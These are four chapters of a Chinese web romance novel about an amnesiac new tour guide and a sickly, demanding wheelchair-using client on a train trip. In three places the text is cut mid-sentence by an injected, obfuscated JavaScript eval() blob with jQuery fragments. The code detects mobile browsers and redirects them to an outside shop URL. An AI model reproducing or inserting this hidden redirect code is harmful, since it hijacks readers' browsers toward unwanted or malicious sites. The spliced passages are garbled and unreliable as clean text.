《初恋万次循环》
1. chapter 1
云昭坐在电脑前,看着屏幕上的旅客信息单,陷入了深深的沉思。
姓名:慕熙
年龄:24岁
性别:男
兴趣爱好:无
饮食忌口:海鲜河鲜等所有水产、鸡肉鸭肉羊肉及各种不常见肉、生冷腥辣酸苦及所有刺激性味道、茄子芹菜菠菜蘑菇萝卜……
最后面还有一条备注:
慕先生身体孱弱行动不便,性格沉稳喜静,患严重分离焦虑,导游需时刻记住喜恶、提醒吃药并耐心陪伴,切勿让其情绪激动,准备好随时联系附近医院。
来之前云昭就知道导游这活儿不大好做,容易遇上千奇百怪刁钻神人,但是——这未免太过刁钻了吧?
想她云昭那么多年只走过南没闯过北,见过的奇葩没有一千也有一百,还是头一回遇到这么棘手的情况。
这位慕先生什么也不能吃、什么也不能玩,不好好在家休养身体也就罢了,不仅出来旅游折腾,竟然还定制了一对一行程,没有家人朋友陪伴,一路靠命硬抗的那种。
这要是路上出点事,云昭给自己拆零件批发卖了都不够赔的。
“昭昭,昭昭?”
对面的人喊了两声,云昭才猛抬起头,愣愣问:“怎么了?”
同事小雪笑得眼弯弯,问她:“看什么呢?陈总叫你几遍了。”
“哦,好,谢谢。”
云昭起身搓搓脸,转头就往右边走。
小雪赶忙拉住她:“又忘了?他办公室在左边。”
云昭讪讪一笑,摸着脑袋说:“不好意思,待会儿我就记在备忘录上。”
长长的走廊里,云昭埋头拖着步子慢吞吞的挪步子,把脑袋里的措辞反复拎出来想了又想,又在门口站了一会儿才敢敲门进去。
“陈总,您找我。”
“嗯,坐吧。”
老板陈松鸣是个二十七八油头粉面的男人,穿着讲究,白衣服大眼睛经典小白脸长相。
他家里条件不错,这间旅行社是他爸送他的,他心思很少花在经营上,更喜欢打扮得花枝招展开跑车泡妹子。私底下大家都爱叫他陈孔雀。
云昭拉开凳子,在陈孔雀注视的目光下坐下。
陈孔雀不太习惯这么正经,顿了顿才开口:“你跟慕先生的行程定好了吗?后天就要出发了。”
云昭点点头,“我正打算跟你说这事儿来着。行程我已经做完了,刚才小刘把旅客信息表返回来,我认真看完了,我觉得,这次要不——换个导游吧。”
陈孔雀一愣:“你说什么?”
云昭心肝发颤:“我说……这次,要不,换个导游?”
空气安静半秒,陈孔雀那双丹凤眼都瞪圆了,拍着桌子不可思议:“云昭,云姐?!我早跟你说过吧?这人不一般,不仅价格比平时高出十倍,而且是我爹亲自打电话安排过来的!”
云昭擦汗:“对对……”
“老爷子让我务必给人伺候好了,不然年底办公室房租都不给我交,你当时答应的好好的说一定认真准备!现在马上要出发了,你让换人,换谁?你不入地狱让别人入吗?”
“……”
云昭欲哭无泪。
这破事儿还得从一周前说起。
今年是云昭来到东城的第三年,她准备了两年的导游证也终于考过了,最后凭借不错的面试表现和一点点微不足道的关系,上周成功入职了这家旅行社。
上周一是云昭正式报道的日子,也就是在当天下午,陈孔雀突然通知她被一位定制游的旅客选中了。
据说是客人在一堆导游卡里随便抽中了她。
云昭当时非常高兴,她这么多年一直被失忆的毛病纠缠着,记性不好,虽然经过努力已经对平常生活不会造成太大影响了,但能当上导游也实在不容易。这是她的第一位旅客,说什么也得给人服务好了。
于是她连熬几晚做了好几套行程,不过客人那边大概是工作繁忙,信息回复很慢,四五天才选好行程,一直到今天上午才发来信息登记表。
接着云昭就傻眼了。
谁能想到是这么特殊的一位旅客。
这让她一个零经验新手怎么敢接。
云昭几乎要给陈孔雀跪下了:“小叔,算我求你了,换个人吧!”
作为云昭妈妈的哥哥的婶子的堂弟的大舅子的陈孔雀恨铁不成钢:“你以为我不想吗,他们刚选中你的时候我还委婉说了你是新人,你猜怎么的,人家说他就要新人,新人工作积极性高!”
云昭崩溃:“他疯了吧?”
“滚蛋!”
云昭抹了一把脸,“不如这样,你跟他说我突然犯了个急病,很急很急那种,必须立刻去医院,没办法工作了。”
“你!”陈孔雀咬咬牙。
虽然是明晃晃的借口,不过这好歹也算个招儿。
电话响了几声就接通了,陈孔雀脸色一变瞬间谄媚,起身去到旁边,一口一个慕先生叫着。
云昭缩成一团紧张等待,眼看还不到两分钟,他就回来了。
陈孔雀面如死灰:“他问你在哪家医院,他来给你送点慰问品。”
云昭:“……”
下班回去的路上,云昭挤在公交车里,仔细思考对策。
这位慕先生看上去很不好糊弄。
眼下云昭能想到最好的方法就是和同事们换班,不过时间太紧迫,并且这次行程有足足二十天,同事们的班次都排好了,如果贸然打乱只会更加麻烦。
其次是她去找别的旅行社借导游,可是这也不现实,临时工质量飘忽不定,万一闯了祸,负责的还是云昭自己。
再其次云昭真去医院里躺着,但医生肯定不能由着她胡来,当真给她自己搞出点什么也不行,她怕痛。
思来想去。
居然毫无对策。
云昭回到家后陈孔雀又打了几个电话过来,千叮呤万嘱咐让她务必处理好这次行程,甚至搬出奖金绩效来威胁她。
云昭没骨气,很受威胁。
她长叹了口气,起身去房间里拿了新的备忘录和便利贴。
云昭在东城租的这套房很小,小到什么都缺,但唯独不缺备忘录和便利贴,房间里备了足足一大箱。
家里餐桌、冰箱、电视……几乎所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126752|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有东西上都贴了便利贴,记着一些容易遗忘的小技巧,例如风扇扇叶如果突然停止转动,可以给它来一巴掌之类。
云昭打开电脑把慕先生的信息全部抄在备忘录上,撕下来放进她的日常小包里,打开微信搜索了他的手机号。
屏幕里弹出他的个人账号界面:
昵称:晓看天色
地区:东城
头像是一个粉红色哈哈大笑的——
派大星。
云昭:?
这好像和旅客信息表里反应出来的性格不太一样吧。
不管怎么说,顾客是上帝。
云昭点了申请好友,在备注里写:慕先生您好,我是您此趟旅程的导游,我们的旅行即将出发啦。^_^
云昭点了提交申请,还没放下手机,一声振动突然传来。
对方迅速通过了她的好友申请。
云昭一愣,赶忙开始打字。
【一朵小阿云】:您好,我叫云……
她刚打一半,对面一条白框已经弹出来。
【晓看天色】:你的痔疮好了?
云昭:……
陈孔雀你可真不是好鸟。
【一朵小阿云】:多谢关心,已经好很多了。请您放心,不会耽误接下来的行程。
【晓看天色】:嗯。
果然还是个内敛性子,云昭盯着那十分违和的派大星头像继续敲字。
【一朵小阿云】:慕先生,请问您明天有时间吗?我需要和您最后确认行程中的相关细节,没问题的话咱们后天就可以正常出发了。
【晓看天色】:有。
【一朵小阿云】:地点随您方便,如果您不介意,我可以到您家里来。
对面沉默了。
云昭想着这位慕先生大概是不太会选地点的人,她连忙补了一句:咖啡厅、水吧之类就好,不需要太正式。
片刻后,晓看天色发来一个地点信息。
云昭点开:
星巴克(荆语路店)
云昭心头一怔,眉毛慢慢挑了起来。
荆语路这名字看着很熟悉。
她走到窗边,开窗探出头去。
云昭目前住的地方是一栋临街的小公寓,她住五楼,501户,租金非常便宜,周边配套设施也很一般。
房子客厅正中间嵌着两扇窄窄的窗户,窗外横着一条宽敞大马路,马路对面则是一家快要倒闭的商场。
现在商场里已经不剩多少商铺,只剩沿街几家烧烤铺,以及街头一家星巴克,云昭每天上班都会路过。
再往右看看去,路边伫立着一个蓝底白字的路牌,上面写着:
荆语路。
云昭的手指在屏幕上轻轻点了点。
【一朵小阿云】:真巧,我就住这附近呢^_^
【晓看天色】:真巧。
【一朵小阿云】:慕先生,明天见!
【晓看天色】:明天见。
【一朵小阿云】:对了,我叫云昭,您可以叫我小云。
【晓看天色】:嗯,昭昭。
【一朵小阿云】:^_^
2. chapter 2
早上八点,云昭被闹钟吵醒。
她起床去到卫生间洗漱,拿凉水抹了一把脸,睁开眼睛看向镜子左边的便利贴:
【今日安排】
九点到楼下星巴克和慕先生见面,核对旅行细节。ps.慕先生是你成为导游后的第一个旅客,他的信息和旅行细节都已放进包里,出发前需要仔细看。
云昭打了个哈欠,仔细回忆了十来分钟,把昨天的事都记起来了。
她从八岁起得了失忆症这毛病,白天还好,一旦睡着她的记忆就会加速流失,所以需要在每天睡觉前把要紧的事贴在洗漱镜上,以免耽误事儿。
还好今天的事不算复杂,云昭换了一身白色长袖衫和牛仔裤,束了个大光明高马尾。
镜子里的女孩年轻苗条,脸庞白净小巧,眼睛是标准的杏仁眼,笑起来左脸有一颗浅梨窝。
从公寓出来穿过马路再往左走十几米就是那家星巴克,云昭刚到门口,晓看天色便发来消息说自己已经到了,在一楼靠窗边。
云昭第一次见客户,还是老陈总亲自安排过来的客户,心里难免紧张,在门口悄悄背了几遍开场白才进去。
这个时间点咖啡厅里人很少,云昭顺着大厅往里走,看见窗边坐了几桌人,左边有一对情侣,右边是一个背书包的学生,中间还一个正在看电脑的年轻男人。
云昭心提到了嗓子眼,攥着包带朝那位年轻男人走去。
“慕先生您好,我是你的导游云昭。”
云昭满脸笑容拉开高脚椅坐下。
对面的男人穿着件蓝黑格子衫,五官还算端正,就是大黑框眼镜下一双眼睛黯淡无光,木然开口问:
“你谁?”
云昭的笑容僵在脸上。
“我是云昭,请问您是慕先生吗?慕熙,慕先生。”
男人脸色蜡黄,眼下一对黑眼圈深深垮下来,“不知道,我代码炸了。我是谁来着?”
“……抱歉!”
云昭抓起包跳下椅子,小心脏在胸腔里蹦哒起来,她站在大厅里左右张望了一圈,刚要把手机拿出来,突然听见角落里传来一声咳嗽。
云昭心头一紧,循着声音望去:
被她忽略掉的、靠窗边最里侧的角落里,还有一张低调的小圆桌,那里正坐着一个穿黑色西装的男人。
男人的背影瘦削高挑,西装质地精良熨烫平整,黑发修得细致整齐。看上去矜贵利落的人,身下却是一架银色轮椅,他一只手静静垂搭在扶手旁,骨节白皙分明。
云昭的心忽然停滞了。
她脑袋里像轰然炸开了一桶炸药,震得大脑嗡嗡作响,血脉喷张,鼓膜外扩,咖啡厅的音乐声也变得扭曲模糊。
——她在某个地方见过这个背影。
但是记忆里空无一物,只有身体记下了这种感觉。
想要靠近、又忍不住远离的感觉。
云昭的手微微发抖,一哆嗦,手机就滚落出去。
背板砸在木地板上“砰”一声,几位客人都转头看过来,但男人没有。
她连忙俯身捡起手机,回过神来,忐忑朝男人走去。
视线从他的后脑勺慢慢移到侧脸,云昭看见了男人白净的耳朵和脸颊,再往前,她看到了他的脸。
他正拿一张纯白手帕掩唇咳嗽,低着头,剑眉微蹙,抬眼望向她时,漂亮的眼睛乌黑沉静。
苍白病态,又清冷惊艳的男人。
云昭的手抖得更厉害了,心脏在胸腔里突突乱跳,小声打招呼:“慕先生。”
男人低低应了一声,他咳得嗓子干哑,搁下手帕时,云昭瞧见他下巴很尖,下颌清晰,整个人清瘦到毫无赘余。
“开始吧。”慕熙平静朝她看过来,声音冷淡,没什么情绪。
云昭从包里拿出旅程表。
不知道为什么,她面对眼前的男人有种莫名的紧张,手指着表格,努力想平静但是越来越哆嗦:“慕先生,我们这次的目的地是邬州,那,那边现在气候很不错,虽然不是旅游城市,但,但是……”
慕熙抬眉扫她一眼,两指抵住水杯,慢慢推到她面前。
云昭愣愣盯着那只手,凑近了看,她越发觉得这仿佛件艺术品,指甲修剪得平平整整,皮肤细腻雪白,修长纤细——
反应过来的时候,她的手已经握上去了。
云昭:……
要不她自己提头去见陈孔雀吧。
慕熙没说话。
他的睫毛很长,却不卷翘,平直而浓密,垂下时看不清眼睛里的神情。他好像压根儿没注意到任何异常,专心望着旅程表,淡淡开口说:“邬州在江南吧。”
云昭赶忙把手收回来,猛灌两口柠檬水。
她声音还是隐约发抖,点点头说:“不瞒您说,其实邬州是我的家乡,我,我对它很熟悉,它在江南不像其他城市那么出名,景点也不是很多,不过胜在人少、自然风光还不错。只是有些地方开发程度不高,没有缆车,咱们可能……”
说到一半,云昭小心瞄了一眼慕熙的腿。
他双腿安静搁在轮椅上,腿上盖了一张薄绒毯子,看不出情况如何。
云昭制定行程时没想过他是个行动不便的人,一腔热血给出了好几条跋山涉水纵享旅途的方案,当时他从中里选了最普通、最简单的一条,云昭还暗戳戳吐槽这不像年轻人。
慕熙没抬头,“没事。”
云昭勉强舒了口气,“您放心,这次虽然是一对一定制游,但我们公司免费安排了专业医护人员随行,如果您有需求,他们随时可以提供帮助。”
“不需要。”慕熙突然说。
云昭愣住。
慕熙以为她没听清,抬起头来,用那双深邃平静的眼睛看她:“不需要医护随行,我身体没事。”
云昭犹豫:“他们不会打扰到您,只在有特殊情况的时候出现。”
慕熙摇头:“不需要。”
“隔得远远的?”
“不需要。”
“只在酒店里等?”
“不需要。”
云昭:“……行。”
您要是出点什么事儿,我也找条河跳了呗。
接下来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126753|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满满当当一小时,云昭对照着旅程表,一条一条和慕熙核对。
几乎她提一条,就会被他驳回一条,甚至中途还要前往的两个城市直接被划除了,本就简单的行程简单到不能再简单,整整二十天都待在邬州这个所有景点加起来一只手都能数两遍的地方。
云昭算是看出来了,这人压根不是想去旅游,单纯钱多得没地方烧,非要找个旅行社,再找人陪着一起去外地闲躺大半个月。
没有比这更好赚的钱了。
不过很遗憾——云昭确定自己赚不了。
大概是出于一些神奇的磁场影响或者化学反应,云昭和眼前这位慕先生待在同一个空间里就感觉浑身不自在。
倒也不是讨厌他,他虽然对她制定的行程不大友好,但是对她很有礼貌,语言平和绅士有礼,算是个不错的甲方。
但是云昭心里总堵得慌,闷得喘不上气,尤其是每次和他那双漂亮眼睛对视上,仿佛那对瞳孔是幽幽的黑洞,要把她深深吸进去。
她总感觉他下一秒就要晕倒在她面前,接着她就要被吓得惊慌失措、嗞哇乱叫、满地疯跑、闯下大祸……
和这人待二十天她肯定会疯掉。
十点十五分整,云昭抓起桌上的旅程表,连折叠都等不及,一股脑猛塞进包里,连滚带爬起身。
“感谢您今天抽出宝贵的时间核对细节,旅程将在4月15日如期开始,明天下午三点请前往火车南站集合,记得带齐行李。飞飞旅行社预祝您旅途愉快!”
没等到慕熙回答,云昭拔腿就跑。
但没一会儿,她又掉头回来了。
慕熙坐在原地没动,他望着门口的方向,瞳仁里终于有了一丝波动,“怎么?”
云昭抹着额头上冷汗:“那,那什么,您,您怎么回去?”
慕熙了然,放下手里的水杯,手指搭在轮毂上,慢慢转身。
他个子高,坐在银色金属轮椅中越发显得瘦削,西装袖口微微上移半寸,露出的一截手腕也白净纤细,戴着一只腕表,看上去不像是自己推轮椅的人。
慕熙推轮椅推得很慢,云昭就站在门口,看见轮子在地上慢慢滚动,清俊的男人微微垂头朝她而来。
好一会儿,他才在她面前停下,柔声说:“别担心,我能自己回去。”
云昭腿都要软了。
她闭着气,艰难勾勾嘴角,“那您路上小心,有什么问题请立刻联……联系家人!”
慕熙应了一声。云昭这才注意到他因为坐着轮椅比她矮了很多,需要抬头看她,这样一来,他脖颈下方掩在衬衫里一截纱布就露出来了。
云昭猛地闭了一下眼睛,迅速转身就走。
她刚走出几步,身后的人又叫住了她。
慕熙声音不大,云昭回头,看见他沉默了片刻,脸上居然慢慢浮出了一丝笑容。
笑容很浅,他仰起了头,唇边溢出一闪而过狡黠,低声道:“昭昭,咱们明天见。”
“……”云昭扯出一个比哭还难看的笑容,“明天见。”
明天说什么也要换导游!
3. chapter 3
云昭的第六感很准。
她记性不好经常忘事,有时候实在做不了决定就只能交给第六感,这么多年从未失手,大小坎坷。
这次云昭的第六感告诉她,这位慕先生绝不简单,至少肯定不像表面看上去那么温文尔雅。
他身上有股强颜欢笑的别扭,尤其是他最后那笑容,一脸不怀好意,加上那张漂亮到可以去当男模的脸,怎么瞧也不像好人。
现在社会骗子众多,大小骗局层出不穷,他安排这么不寻常的行程,搞不好……是想要碰瓷?或者把导游骗去割腰子?
想到这种可能,云昭心下一惊,赶忙掏出手机给陈孔雀发消息。
不管陈孔雀信不信她,但她就算被骂死、就算赔掉底裤,也绝不能接这单子!
发送完,云昭闷头冲进小区门口超市,进去买了半斤牛肉和三颗番茄。
云昭习惯用做饭缓解压力。她有一本自己写的菜谱,上面记录了几十种家常菜的做法,番茄牛腩就在第一页。
红彤彤的番茄在水里滚了两圈,云昭刚捞出来,兜里手机就响了。
她手一抖,番茄又滚进锅里。
云昭战战兢兢抹了把脸。
手机屏幕上没有陈孔雀的消息,只有一条工作微信弹出来,点开来看:
【晓看天色】:昭昭,我到家了。
云昭:……
她不知道怎么回复,傻愣在水池边,没一会儿,又是两条消息:
【晓看天色】:明天降温,记得多穿点。火车上信号不好,可以提前备一些爱看的书,另外车内噪音大,常用的耳塞也可以备上。
【晓看天色】:今天多谢了。
锅里的番茄还在滚,气泡咕噜噜从不锈钢锅底冒上来。
云昭盯着那几排字,眼一闭,干脆把手机扔去了客厅。
做番茄炖牛腩云昭不需要看食谱,这是她最喜欢的菜,配方她记得很熟。
但是今天脑子很乱,她稀里糊涂把没焯水的牛肉直接倒进锅里,匆匆捞起来转头看见番茄又烂了,手忙脚乱炖出一盆毫无卖相的菜。
手机在外面一直响,云昭把晚餐端上餐桌时,陈孔雀已经打来五六个电话了,附带几十条咆哮微信语音。其中夹杂几条部门小领导发来的惊叹号。
一大堆消息里,还有一条孤零零的白色方框被挤在最后面。
【晓看天色】:抱歉,我刚得知行程暂停了,请问是不是我今天做错了什么?
云昭:……
这男人到底想干嘛?!
哪有这么卑微的甲方?!
云昭闭上眼,甚至能想象到男人那白净清减的面容眉头微蹙,忍着咳嗽、温声询问的样子。
人虽然古怪,但实在美丽。
——牡丹花下死。
——哪怕割腰子。
云昭咬着牙,手机忽然又响起来。
是云华林打来的。
云昭一愣,赶忙接起:“爸?有什么事吗?”
云华林那边下班刚回家,有轻轻搁钥匙的声音,“没什么事。你这丫头,最近工作怎么样?”
云昭松了口气,拉开凳子坐下,“很顺利,我现在已经能接单子了。喏,今天还做了大餐庆祝呢。”
云昭切换了视频通话,把自己做的番茄牛腩拍给云华林看。
云华林那边信号不是很好,画面卡顿,长相秀气的中年男人穿着工作衬衣,手里拎了一袋茭白。
“那就行,你吃好点,别学人减肥。”云华林往屋里走,“我算着日子,你那药该吃完了吧?有时间赶紧再去医院开点。”
云昭嘻嘻笑,拿起一板白色药片在镜头晃:“不用提醒,我前两天就去开了。”
“有进步啊。”云华林点点头,“我跟你说,你吃药是正事,千万别嫌贵,没钱就跟爸说,你妈上次打电话跟我唠叨半天,就怕你省着。我单位马上要发奖金,你妈上次也打了钱回来,最近咱家里很滋润的。”
云昭笑得阳光灿烂:“知道了知道了,那你马上给我转二百,我要去买酱板鸭,东城的酱板鸭馋我好久了!”
“嘿……跟你说正事儿呢。”
电话挂断过后,没一会儿,云华林给她转来两千。
云昭笑笑假装没看到,拿起碗筷吃饭,嘴角慢慢垮下来。
餐桌上的番茄炖牛腩还没凉,温度合适不烫嘴。但是今天操作失误,吃着一点也不香。
她已经两个月没去开药了,手边的药是上上个月的,特意在桌上留了一板,随时应付云华林的抽查。
其实那么重要的事她是不会忘的,而且有闹钟提醒她每天吃药,记忆会被反复唤起。她不去只不过是因为——太贵了。
她现在吃的药没办法根治她健忘的毛病,只能改善,但即便只是改善也需要花不少钱。
东城市人民医院每次给她开十盒药,十盒售价一万多,只够吃两个月,再加上一些辅助的药物,一个月算下来得七八千。
云华林在家乡当公交车司机,已经内部裁员好几次,而妈妈陈琇早年去外地跟人做服装生意,每年都说生意好,但是每年都穿最便宜的衣服回家。
云昭以前会故意间隔着吃药,但后来数学太差算不过云华林,总露馅,于是她就想了这么个损招。
损归损,节省不少钱。
云昭吃完饭去洗了碗,回来过后在沙发上瘫坐了一会儿,给陈孔雀回了电话。
电话打通,陈孔雀秒接,一串妙语连珠亲切问候云家祖辈过后,也不等云昭说话,直接放狠招:“你要敢不去,今晚不是你上新闻就是我上新闻!”
云昭抹一把额头:“我明白,你别急。我只是觉得这位慕先生有点古怪,这趟行程有风险。”
“古怪什么?风险什么?人家那身份,坑了你全部家当去吃顿路边摊吗?”
“哎,这话说的。”云昭顿了顿,“不过我刚才仔细考虑了……不如这样吧,陈总,这笔提成你再给我加两个点,我硬着头皮去。”
电话另一头沉默好久。
陈孔雀彻底爆发:“你早说是要钱啊!姑奶奶,你下次别给我耍这种花招了,你看我像是缺钱的人吗?闹这么大一出就为了多要两个点,你还是人吗!”
云昭耳朵都要被他吵穿了。
陈孔雀这人比麻雀还聒噪,云昭捂住耳朵敷衍两句,转身去收拾行李了。
-
第二天一早,云昭起来煮了碗阳春面,一上午什么也没干,去公司拿了点东西就回家待着了。
下午一点,她准时出门。
东城市火车南站云昭来过很多次,她第一次踏上东城的土地就是在这里,不过因为她对建筑和方位的记忆尤其糟糕,每次来都跟第一次一样。
跟着指引来到二层,她刚进去就在大厅远远见到了慕熙。
云昭深深埋下头。
昨天她没心思回复消息,只在很晚时脑子抽风似的回了一条“不好意思慕先生,我刚被盗号了,没看到消息”。他那会儿大概也睡了,没有回复。
这服务挨五个差评都不冤枉。
“云小姐是吗?您好。”慕熙身边一位西装革履的年轻人冲云昭招手。
这趟来送行的人只有这一位,慕熙坐在长椅最左侧,一身清冷素黑,年轻人就站在他旁边,两个人都是瘦高个子俊朗眉目,在人群里非常扎眼。
云昭猫着腰过去,视线盯着慕熙,凑近了才看见他脸色不大好。
他手上翻阅着一本文
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126754|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
件,皮肤雪白,眉眼略显疲惫,一张方帕掩着薄唇,低声轻咳。
“慕先生。”云昭打了招呼。
慕熙抬眉扫她一眼,清冷的眸子神色淡淡,没说话,垂眸继续看文件。
……生气了。
云昭一身绷紧,手指绞起背包带子。
也是,她出尔反尔还装疯卖傻,神仙来了也得生气。
不过生气归生气,慕熙还是准时来了。
旁边年轻人笑呵呵打圆场:“慕先生昨晚失眠头痛,今早天气也不好,他身体很难受。云小姐请别介意,还望路上多照顾点。”
云昭点头:“应该的应该的。”
那年轻人看上去年纪不大但为人处世圆滑,给云昭塞了一盒见面礼,大概讲了一些行程里的注意事项。
云昭一边听一边在本子上记录,余光瞄到旁边的慕熙,他一直垂眼看手表,眉头微皱,唇色发白。
似乎在忍痛。
——这趟就算不被割腰子,那也是个只能中午干的活儿,早晚得出事。
三点,列车准时进站。
因为慕熙身体特殊,他们只能搭乘最传统的绿皮火车,云昭没多问,默默跟着工作人员一起帮慕熙拿行李。
这次定了一节高级软卧,只有两个床铺,私密性很强。列车员刚把行李搬到架子上,伸手又要来搀扶时,慕熙终于开口说了今天第一句话:
“多谢,剩下的交给昭昭吧。”
云昭在旁边掏着包,听他这么说,小心肝又抖了一下。
她蹲在地上收拾很久,把行李全部整理好,才慢吞吞走过来,乖乖站到慕熙面前:“慕先生,这趟行程时间长,要不我先扶您去床上休息吧?”
慕熙的睫毛缓缓掀起来看向她。
默许了。
云昭搓搓手蹲下,先把轮椅踏板放下,再起身托住他的腰背,小心扶他起来。
慕熙比她想象的还要清瘦,手指从他后背掠过时,云昭摸到了凸出的蝴蝶骨和脊柱,她当场汗流浃背:“当心,当心。”
他的腿一点力气也没有,身体虚弱,刚离开轮椅脸色就瞬间煞白。云昭一时着急,迅速把他挪到床铺上。
慕熙来不及提醒她,心口传来闷痛,手捂住前胸紧闭双眼,脱力朝她靠去。
云昭僵住:“慕,慕先生?”
慕熙没说话。
他昨晚情绪波动大,身体受不了,出门前都还在吸氧。现在距离手术越来越近,他这副破烂身子也越发不听使唤了。
脑袋靠在云昭肩头,隐约还能嗅到她洗发水的香气。
对慕熙来说,或许躺下会更舒服一点,但是他偏要占她便宜。谁让这女人坏事做尽。
昏沉中,慕熙睡了一会儿。
过了很久才勉强睁开眼睛。
云昭没敢乱动,依然老实让他靠着,大概怕他摔了,她分出一只手护住了他的腰背,另一只手搁在腿上,正在写字。
她那黄色帆布包用好几年了,洗得干净发白,左边有个小窗口是特意用来装额外注意事项的。
慕熙瞧见她在纸条上写了很多条,最后一条赫然写着:
【慕先生可能会随时睡觉。】
慕熙:……
哪天他死地上躺出尸斑来了,云昭估计也以为他只是化妆了吧。
慕熙嘴角勾了一下。
这么多年了,这女人还是这样,记性烂的要命,人也傻气,唯独很热心。热心肠多到摆摊卖给全世界,每人至少能分到俩。
慕熙虚虚抬起手。
苍白的手指从裤边挪到裙角,落在云昭手上,稳稳盖住她的手背,连同那只快要没墨的笔,一起覆在掌下:
“云小姐,咱们丑话说在前头。”
4. chapter 4
云昭手抖一下,猛地转头看他,心里莫名升起一种“我就知道”的绝望。
旁边那斯文大尾巴狼终于卸下伪装,轻揉额角,慢慢坐直身体。
他那张俊脸虽然苍白病态,但是乌黑的双眸忽地沉静下来,连带瞳仁中的光芒都变得锋利敏锐。
坐下的慕熙比云昭高出不少,他垂头俯视着她,高高在上:“我的情况想必你已经有所了解了,身体上的毛病你不必多管,只需要你注意心理上的问题,并且,一次也不能出错。”
云昭的胳膊还扶着他的腰,跟他并排坐在下铺,卑微的像个鹌鹑:“……您说。”
“我患有严重分离焦虑,不能接受同行的人离开我超过十分钟。所以这趟旅程中没有我的允许,你不能随意离开我,更不能让我找不到你。任何需要单独做的事都必须提前向我报告。”
“……”她的第六感果然没错!
云昭震惊:“什么事都要说吗?吃饭上厕所这种事呢?”
慕熙毫不犹豫:“全部。”
“……”云昭心要停了。
“这件事云小姐务必记清楚了,倘若你没有做到。”慕熙轻咳一声,乌黑的睫毛垂下来,声音逐渐冷漠无情:
“我的心脏不太好,受不了任何刺激,一旦发病就有生命危险。到那时,云小姐恐怕就要吃点官司了。”
云昭目瞪口呆。
盯看了他好久,又转头看向窗户。
现在弃车逃跑还来得及吗?
这家伙明摆着是要碰瓷啊!
陈孔雀你可真不是个鸟啊!
云昭肠子都悔青了,痛心疾首,咽了口水弱弱点头:“好……我知道了。”
慕熙颔首:“那么,多谢照顾了。”
-
火车在一望无际的旷野中徐徐向前,路过城市工业区,又驶向安静的小山村。
云昭坐在窗边看着天色慢慢变黑。
心如死灰。
距离发车已经过去一下午,傍晚的火车慢慢吵闹起来,隔壁车厢的乘客们陆续吃完饭,又逐渐回归安静。
对面床上那大尾巴狼欺负完人就彻底不演了,前两天的温柔荡然无存,换下西装倒头就睡。云昭不敢吵醒他,默默玩手机玩了一下午,中途他的电话还响了几声,她也没敢叫他。
到晚上八点时,大尾巴狼终于醒了。
云昭早已面如土色:“我要上厕所。”
他平躺在床上,轻轻掀起眼皮扫她一眼。
恩准了。
这跟坐牢有什么区别!
云昭恨得牙痒痒,假装不知道有独立卫生间,扭头直接冲出包厢。
她在心里给陈孔雀和慕熙的八辈祖宗都热情问候了一通,故意磨磨蹭蹭上完厕所,还去窗口放了会儿风,回来时看见慕熙已经起床了。
他垂头坐在下铺,黑发微乱,手里捧着一杯热茶,肩头披着一件外套。
“云小姐,你十二分钟才回来。”慕熙从腕表上抬头,淡淡眨眼看她。
“!”云昭一惊,她刚才掐着十分钟的点回来,但是记性太烂走反了,走到硬卧车厢才调头开跑。
没想到就超两分钟都让他发现了。
“抱歉抱歉,我下次注意。”云昭挠挠头走过来,瞄了一眼桌边的轮椅,“对了慕先生,您要去卫生间吗?您自己能行吗,要不要我扶您?”
慕熙神色如常,“能行。”
云昭老好人毛病又犯了:“这种事您别跟我客气,火车上的卫生间不比普通公侧,又窄又滑不安全,我知道很多瘫痪病人腿脚是没有感觉的,要是摔一跤可就……”
慕熙突然打断她:“谁告诉你我瘫痪了。”
“……”云昭呆呆低头看向他的腿。
白天有毯子遮挡着,这会儿她才看清。
慕熙穿了一条黑色西裤,每条褶子都熨烫的平整锋利,从外观看他的双腿修长纤细,尽管比起正常男人的确有些清瘦,但还远远算不上变形。
慕熙把水杯搁在桌子上,手指轻敲左侧膝盖,“我只是腿摔断过,因为生病没办法手术,所以站不起来。”
他对于这种误解似乎并不不介意,自然的朝她伸手,“过来扶我。”
云昭点头:“哦好。”
她老实过去扶他,心里慢慢打起了鼓。
摔断了,做不了手术?这得多严重啊。
云昭这会儿回过味来才逐渐意识到不对劲。她明明是导游,怎么像是被发卖成奴婢了?
身边这位的病情听起来很不乐观,还是个公主做派,事事都得听他的,一不高兴就要死要活。上次陈孔雀说这单价格比一般的高出十倍,看这样子这多出来的就是公主的丫鬟太监费……
“云小姐。”公主突然开口。
云昭一个激灵回过神来:“公主您说!”
慕熙的嘴角肉眼可见抽了一下,黑着脸握住栏杆:“今晚我睡上铺。”
